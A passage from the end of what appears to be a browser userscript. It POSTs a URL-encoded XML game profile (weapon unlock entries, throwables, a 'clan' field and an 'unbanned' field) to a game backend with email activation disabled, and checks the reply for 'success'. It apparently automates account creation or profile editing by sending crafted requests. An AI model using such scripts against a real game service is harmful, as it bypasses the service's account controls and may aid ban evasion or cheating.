b%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e52%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e53%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e54%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e55%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e56%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e57%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e58%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e59%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e60%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e61%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e62%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e63%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e64%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e65%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e66%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%20%20%3cBF_WeaponInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e67%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlocked%3e0%3c%2funlocked%3e%0a%20%20%20%20%20%20%3ccOL%3e0%2c0%2c0%3c%2fcOL%3e%0a%20%20%20%20%20%20%3caOL%3e0%2c0%2c0%3c%2faOL%3e%0a%20%20%20%20%20%20%3csOL%3e0%2c0%2c0%3c%2fsOL%3e%0a%20%20%20%20%20%20%3cbOL%3e0%2c0%2c0%3c%2fbOL%3e%0a%20%20%20%20%20%20%3cc%3e0%2c0%2c0%3c%2fc%3e%0a%20%20%20%20%20%20%3ca%3e0%2c0%2c0%3c%2fa%3e%0a%20%20%20%20%20%20%3cs%3e0%2c0%2c0%3c%2fs%3e%0a%20%20%20%20%20%20%3cb%3e0%2c0%2c0%3c%2fb%3e%0a%20%20%20%20%3c%2fBF_WeaponInfo%3e%0a%20%20%3c%2fweaponInfo%3e%0a%20%20%3cthrowableInfo%3e%0a%20%20%20%20%3cBF_ThrowableInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e9%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlockedWeapon%3e0%3c%2funlockedWeapon%3e%0a%20%20%20%20%3c%2fBF_ThrowableInfo%3e%0a%20%20%20%20%3cBF_ThrowableInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e11%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlockedWeapon%3e0%3c%2funlockedWeapon%3e%0a%20%20%20%20%3c%2fBF_ThrowableInfo%3e%0a%20%20%20%20%3cBF_ThrowableInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e13%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlockedWeapon%3e0%3c%2funlockedWeapon%3e%0a%20%20%20%20%3c%2fBF_ThrowableInfo%3e%0a%20%20%20%20%3cBF_ThrowableInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e0%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlockedWeapon%3e0%3c%2funlockedWeapon%3e%0a%20%20%20%20%3c%2fBF_ThrowableInfo%3e%0a%20%20%20%20%3cBF_ThrowableInfo%3e%0a%20%20%20%20%20%20%3cweapon%3e0%3c%2fweapon%3e%0a%20%20%20%20%20%20%3cunlockedWeapon%3e0%3c%2funlockedWeapon%3e%0a%20%20%20%20%3c%2fBF_ThrowableInfo%3e%0a%20%20%3c%2fthrowableInfo%3e%0a%20%20%3cos%3enot%20set%3c%2fos%3e%0a%20%20%3cmodel%3enot%20set%3c%2fmodel%3e%0a%20%20%3crd%3e0%3c%2frd%3e%0a%20%20%3ced%3e0%3c%2fed%3e%0a%3c%2fAS_CustomInfo%3e%24%23%40(_fields_separator_*%26%25%5eclan%24%23%40(_field_name_value_separator_*%26%25%5e%24%23%40(_fields_separator_*%26%25%5eunbanned%24%23%40(_field_name_value_separator_*%26%25%5e0%24%23%40(_fields_separator_*%26%25%5e&requireEmailActivation=false&referralPlayer=&store=BALYZE_WEB&useJSON=true`,
        "method": "POST"
    });

    let res = await a.text();

    if (res.includes("success")) {
        response = true;
    } else {
        response = false;
    }

    return response;
}

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址